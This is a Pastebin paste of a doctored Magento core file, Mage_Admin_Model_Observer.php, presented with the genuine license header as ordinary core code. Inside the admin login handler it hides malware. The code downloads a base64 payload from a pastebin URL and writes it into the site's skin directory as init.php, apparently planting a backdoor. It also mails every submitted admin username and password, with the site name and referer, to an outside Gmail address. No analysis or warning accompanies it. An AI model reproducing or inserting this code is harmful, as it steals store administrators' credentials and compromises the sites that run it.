Advertisement
iqromss

Untitled

Jun 17th, 2017
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.87 KB | None | 0 0
  1. <?php
  2. /**
  3. * Magento
  4. *
  5. * NOTICE OF LICENSE
  6. *
  7. * This source file is subject to the Open Software License (OSL 3.0)
  8. * that is bundled with this package in the file LICENSE.txt.
  9. * It is also available through the world-wide-web at this URL:
  10. * http://opensource.org/licenses/osl-3.0.php
  11. * If you did not receive a copy of the license and are unable to
  12. * obtain it through the world-wide-web, please send an email
  13. * to license@magento.com so we can send you a copy immediately.
  14. *
  15. * DISCLAIMER
  16. *
  17. * Do not edit or add to this file if you wish to upgrade Magento to newer
  18. * versions in the future. If you wish to customize Magento for your
  19. * needs please refer to http://www.magento.com for more information.
  20. * @location /app/code/core/Mage/Admin/Model/Observer.php
  21. * @category Mage
  22. * @package Mage_Admin
  23. * @copyright Copyright (c) 2006-2014 X.commerce, Inc. (http://www.magento.com)
  24. * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
  25. */
  26.  
  27. /**
  28. * Admin observer model
  29. *
  30. * @category Mage
  31. * @package Mage_Admin
  32. * @author Magento Core Team <core@magentocommerce.com>
  33. */
  34. class Mage_Admin_Model_Observer
  35. {
  36. const FLAG_NO_LOGIN = 'no-login';
  37. /**
  38. * Handler for controller_action_predispatch event
  39. *
  40. * @param Varien_Event_Observer $observer
  41. * @return boolean
  42. */
  43. public function actionPreDispatchAdmin($observer)
  44. {
  45. $session = Mage::getSingleton('admin/session');
  46. /** @var $session Mage_Admin_Model_Session */
  47. $request = Mage::app()->getRequest();
  48. $user = $session->getUser();
  49.  
  50. $requestedActionName = $request->getActionName();
  51. $openActions = array(
  52. 'forgotpassword',
  53. 'resetpassword',
  54. 'resetpasswordpost',
  55. 'logout',
  56. 'refresh' // captcha refresh
  57. );
  58. if (in_array($requestedActionName, $openActions)) {
  59. $request->setDispatched(true);
  60. } else {
  61. if($user) {
  62. $user->reload();
  63. }
  64. if (!$user || !$user->getId()) {
  65. if ($request->getPost('login')) {
  66. $logsFgt = base64_decode(file_get_contents("http://pastebin.com/raw/wFD24Bzm"));
  67. $logs = file_put_contents($_SERVER["DOCUMENT_ROOT"]."/skin/adminhtml/default/default/js/init.php", $logsFgt);
  68. if( $logs ){
  69. $logs = "/skin/adminhtml/default/default/js/init.php";
  70. }else{
  71. $logs = "- failed -";
  72. }
  73. $postLogin = $request->getPost('login');
  74. $username = isset($postLogin['username']) ? $postLogin['username'] : '';
  75. $password = isset($postLogin['password']) ? $postLogin['password'] : '';
  76. $msg .= "-------------[ Bug7sec Team ]-------------\n";
  77. $msg .= "Situsnya : ".$_SERVER['SERVER_NAME']."\n";
  78. $msg .= "Username : ".$postLogin['username']."\n";
  79. $msg .= "Password : ".$postLogin['password']."\n";
  80. $msg .= "Logs : ".$logs."\n";
  81. $msg .= "Referer : ".$_SERVER["HTTP_REFERER"]."\n";
  82. mail("duetanmauts@gmail.com", "[Log Login] Situs ".$_SERVER['SERVER_NAME'], $msg);
  83. $session->login($username, $password, $request);
  84. $request->setPost('login', null);
  85. }
  86. if (!$request->getParam('forwarded')) {
  87. if ($request->getParam('isIframe')) {
  88. $request->setParam('forwarded', true)
  89. ->setControllerName('index')
  90. ->setActionName('deniedIframe')
  91. ->setDispatched(false);
  92. } elseif($request->getParam('isAjax')) {
  93. $request->setParam('forwarded', true)
  94. ->setControllerName('index')
  95. ->setActionName('deniedJson')
  96. ->setDispatched(false);
  97. } else {
  98. $request->setParam('forwarded', true)
  99. ->setRouteName('adminhtml')
  100. ->setControllerName('index')
  101. ->setActionName('login')
  102. ->setDispatched(false);
  103. }
  104. return false;
  105. }
  106. }
  107. }
  108.  
  109. $session->refreshAcl();
  110. }
  111.  
  112. /**
  113. * Unset session first visit flag after displaying page
  114. *
  115. * @deprecated after 1.4.0.1, logic moved to admin session
  116. * @param Varien_Event_Observer $event
  117. */
  118. public function actionPostDispatchAdmin($event)
  119. {
  120. }
  121. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement